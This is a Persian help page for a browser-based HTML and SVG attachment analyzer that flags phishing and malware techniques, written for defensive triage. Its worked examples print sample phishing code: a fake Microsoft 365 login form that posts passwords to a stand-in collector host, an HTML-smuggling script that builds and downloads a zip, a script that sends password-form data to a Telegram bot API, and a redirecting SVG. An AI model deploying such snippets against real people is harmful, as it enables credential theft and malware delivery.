لایههای Base64، هگز، رمزگذاری URL، gzip و deflate را لایهبهلایه بردارید تا متن قابلخواندن باقی بماند.
تحلیلگر پیوست HTML
خود ابزار به زبان انگلیسی است؛ این صفحه آن را به زبان شما توضیح میدهد.
از تحلیلگر پیوست HTML استفاده کنید
کارکرد
یک پیوست HTML یا SVG را در ابزار قرار دهید یا متن آن را بچسبانید تا ببینید اگر باز شود چه میکند: دانلودهای پنهان، فرمهایی که رمز عبور را به جای دیگری میفرستند، هدایتها، نقاط پایانی خروج داده و کد مبهمسازیشده. فایل بهصورت متن خوانده میشود و هرگز نمایش داده یا اجرا نمیشود.
این کاملاً در مرورگر شما اجرا میشود: هیچیک از اطلاعاتی که وارد میکنید بارگذاری نمیشود.
چگونه از تحلیلگر پیوست HTML استفاده کنیم
- فایل را باز نکنید. پیوست .html، .htm، .shtml، .xhtml یا .svg را بدون باز کردن ذخیره کنید، یا کد منبع آن را بهصورت متن کپی کنید.
- فایل را وارد کنید یا بچسبانید. فایل را روی کادر رها کنید یا آن را انتخاب کنید (تا 25 MB)، یا کد منبع را بچسبانید (تا 5 MB) و Analyze (تحلیل) یا Ctrl+Enter را بزنید.
- نتیجه را بخوانید. کادر بالایی یکی از عبارتهای High risk (خطر بالا)، Suspicious (مشکوک) یا No high-risk patterns found (الگوی پرخطری یافت نشد) را نشان میدهد، همراه با دستههایی که به این نتیجه منجر شدهاند و تعداد یافتهها، IOCها و بلابهای جاسازیشده.
- یافتهها را مرور کنید. هر یافته شدت، دسته، شمارهٔ خط و کد منبع منطبق را نشان میدهد و لینکها و آدرسها در آن خنثیشدهاند.
- یافتهها را خروجی بگیرید. IOCها را به شکل خنثیشده یا خام کپی کنید، یا با Send to آنها را به IOC Converter یا Abuse Report Generator بفرستید، یا برای یک بلاب جاسازیشده از Multi-Layer Decoder استفاده کنید.
مثال
فرم ورود با آدرس از پیش پرشده
<title>Sign in to Microsoft 365</title>
<form action="https://collector.example/login" method="post">
<input type="email" name="u"> <input type="password" name="p">
<button>Sign in</button></form>
<script>document.forms[0].u.value = atob(location.hash.slice(1));</script>High risk: techniques used by phishing and malware attachments
Credential harvesting
1 high, 3 medium, 1 low · 2 IOCs · 0 embedded blobs
FILE
pasted source
SIZE
271 B · 5 lines
PAGE TITLE
Sign in to Microsoft 365
This file builds or hides code at run time. For deobfuscation and sandboxed emulation use JS Analyzer.
Findings
High
Login form sends the password to another site (collector[.]example)
Credential harvesting · line 2
<title>Sign in to Microsoft 365</title> <form action="hxxps://collector[.]example/login" method="post"> <input type="email" name="u"> <input type="password" name="…
Medium
Decodes Base64 at run time (atob)
Obfuscation · line 5
…Sign in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Medium
Brand on a page with a password field: Microsoft / Office 365
Brand hints
Medium
Password field
Credential harvesting · line 3
…example/login" method="post"> <input type="email" name="u"> <input type="password" name="p"> <button>Sign in</button></form> <script>document.forms[0].u…
Low
Reads the URL fragment (often the victim’s e-mail to pre-fill)
Redirects · line 5
…in</button></form> <script>document.forms[0].u.value = atob(location.hash.slice(1));</script>
Forms
SENDS TO METHOD FIELDS LINE
hxxps://collector[.]example/login external Copy POST email u, password p, submit password 2
Requests and redirects with a literal target
VIA TARGET LINE
form hxxps://collector[.]example/login other site 2
IOCs
URLs (1)
hxxps://collector[.]example/login
Domains (1)
collector[.]example
Copy IOCs (defanged)
Copy IOCs (raw)
Static
…High risk (خطر بالا): فرم ورود رمز عبور را به collector[.]example میفرستد، عنوان صفحه در کنار فیلد رمز عبور نام Microsoft 365 را آورده است و اسکریپت آدرس ایمیل را با atob از بخش fragment در URL پر میکند. فهرست IOC شامل URL جمعآوریکننده و دامنهٔ آن به شکل خنثیشده است.
آنچه بررسی میکند
| سیگنال | معنای آن |
|---|---|
| HTML smuggling | وقتی صفحه فایلی را در حافظه میسازد (Blob همراه با createObjectURL یا یک لینک دانلود، یا msSaveOrOpenBlob) و آن را برای دانلود عرضه میکند، شدت بالا (High) است. |
| فرمها | هر فرمی که به سایت دیگری ارسال میشود شدت بالا میگیرد و عنوان یافته مشخص میکند که آیا رمز عبور را منتقل میکند. جدول Forms نشان میدهد هر فرم به کجا ارسال میشود، با چه متدی و چه فیلدهایی دارد. |
| نقاط پایانی خروج داده | فراخوانیهای Telegram Bot API، توکنهای ربات، webhookهای Discord و سرویسهای جمعآوری فرم مانند formspree.io یا webhook.site شدت بالا میگیرند. |
| مبهمسازی | atob، unescape، fromCharCode، رشتههای طولانی escape و خروجی مبهمسازهای شناختهشده. رشتههای کدگذاریشدهٔ ثابت بدون اجرا کدگشایی میشوند. |
| کد پویا | eval، سازندهٔ Function، document.write و مقداردهی innerHTML کد یا markup را در زمان اجرا میسازند. |
| هدایتها | تغییر location، window.open، meta refresh و خواندن fragment در URL، جایی که کیتها اغلب آدرس ایمیل قربانی را منتقل میکنند. |
| ضدتحلیل | مسدود کردن کلیک راست یا F12، دستورهای debugger، تشخیص ابزارهای توسعهدهنده و بررسی مرورگرهای خودکار. |
| محتوای جاسازیشده | URIهای data:، بلابهای طولانی Base64 یا hex و نوع فایلی که از کدگشایی آنها به دست میآید، iframeهای پنهان و فایلهای SVG حاوی اسکریپت. |
| نشانههای برند | نام برندها در عنوان، لوگوها یا لینکها. اگر کنار یک فیلد رمز عبور باشد، شدت متوسط (medium) میگیرد. |
نمونههای بیشتر
دانلودی که در مرورگر ساخته میشود
<script>
var b = new Blob([atob("UEsFBgAAAAAAAAAAAAAAAAAAAAAAAA==")], {type: "application/zip"});
var a = document.createElement("a");
a.href = URL.createObjectURL(b);
a.download = "invoice.zip";
a.click();
</script>High risk با دلیل HTML smuggling: یک یافتهٔ با شدت بالا (صفحه فایلی را در مرورگر سرهم میکند و آن را برای دانلود عرضه میکند) و چهار یافتهٔ متوسط برای atob، new Blob، URL.createObjectURL و ویژگی download. بدون IOC.
رمز عبوری که به ربات Telegram فرستاده میشود
<form id="f"><input type="password" name="p"></form>
<script>fetch("https://api.telegram.org/bot<TOKEN>/sendMessage", {method: "POST", body: new FormData(document.getElementById("f"))});</script>High risk با دلیل Data exfiltration (خروج داده): اسکریپتی دادهها را از صفحهای دارای فیلد رمز عبور به api.telegram.org میفرستد، بهعلاوهٔ یافتهٔ مربوط به نقطهٔ پایانی Telegram Bot API. یافتههای متوسط شامل fetch، فیلد رمز عبور و یک فرم ورود بدون action خارجی است.
تصویر SVGای که هدایت میکند
<svg xmlns="http://www.w3.org/2000/svg"><script>window.location.href = "https://login.example.net/?e=" + btoa("user@example.com");</script></svg>High risk: فایل SVG دارای اسکریپت، بهعلاوهٔ یک یافتهٔ متوسط هدایت و یک یافتهٔ کمشدت btoa. مقصد در بخش Requests and redirects بهعنوان سایت دیگر نمایش داده میشود و URL فضای نام XML در IOCها آورده نمیشود.
سوالات متداول
تحلیلگر به دنبال چه چیزی میگردد؟
کد منبع را با قواعدی برای HTML smuggling (Blob، createObjectURL، msSaveOrOpenBlob، لینکهای دانلود، URIهای data: و بلابهای طولانی Base64)، فرمها و اسکریپتهایی که داده را به سایتهای دیگر میفرستند، خروج داده از طریق Telegram و Discord، هدایتها، iframeهای پنهان، مبهمسازها و ترفندهای ضدتحلیل مطابقت میدهد. همچنین رشتههای ثابت atob، unescape و fromCharCode را بدون اجرا کدگشایی میکند و هر URL، دامنه، آدرس IP و آدرس ایمیلی را که پیدا کند به شکل خنثیشده (defanged) فهرست میکند.
آیا ممکن است چیزی را نبیند یا هشدار نادرست بدهد؟
بله. کد رمزگذاریشده یا کدی که در زمان اجرا ساخته میشود میتواند رفتار خود را از بررسی ایستا پنهان کند، و صفحههای عادی هم از fetch، innerHTML یا تصاویر درونخطی استفاده میکنند؛ پس کد منبع منطبق را که کنار هر یافته نمایش داده میشود بخوانید. برای رفع مبهمسازی و شبیهسازی در محیط ایزوله (sandbox) از JS Analyzer استفاده کنید.
آیا فایل بارگذاری یا باز میشود؟
خیر. فایل در مرورگر شما بهصورت متن خوانده میشود و هرگز نمایش داده، اجرا یا به جایی فرستاده نمیشود. فایلهای تا 25 MB پذیرفته میشوند؛ در فایلهای بسیار بزرگ، 4 MB اول و 1 MB آخر markup بررسی میشود و بلابهای جاسازیشده در کل فایل شمارش میشوند.
چرا تصویر SVG مانند یک صفحهٔ وب بررسی میشود؟
فایلهای SVG از نوع XML هستند و مرورگرها آنها را مانند صفحه باز میکنند، پس میتوانند اسکریپت، لینک و HTML جاسازیشده داشته باشند. یک تصویر به اسکریپت نیازی ندارد، پس اسکریپت درون SVG شدت بالا میگیرد.
بلابهای جاسازیشده چیستند؟
رشتههای طولانی Base64، hex یا آرایهٔ بایتی درون فایل. آنها در حافظه کدگشایی میشوند و با نوع فایلی که به آن تبدیل میشوند برچسب میخورند؛ میتوانید یکی را کپی کنید یا یک بلاب متنی را به Multi-Layer Decoder بفرستید.
سطحهای شدت چه معنایی دارند؟
High الگوهایی را مشخص میکند که پیوستهای فیشینگ و بدافزار به آنها متکیاند، مانند smuggling، نقاط پایانی خروج داده یا فرم رمز عبوری که به جای دیگری ارسال میشود. Medium تکنیکهایی را در بر میگیرد که صفحههای عادی هم به کار میبرند. یک یافتهٔ High کافی است تا نتیجه High risk شود.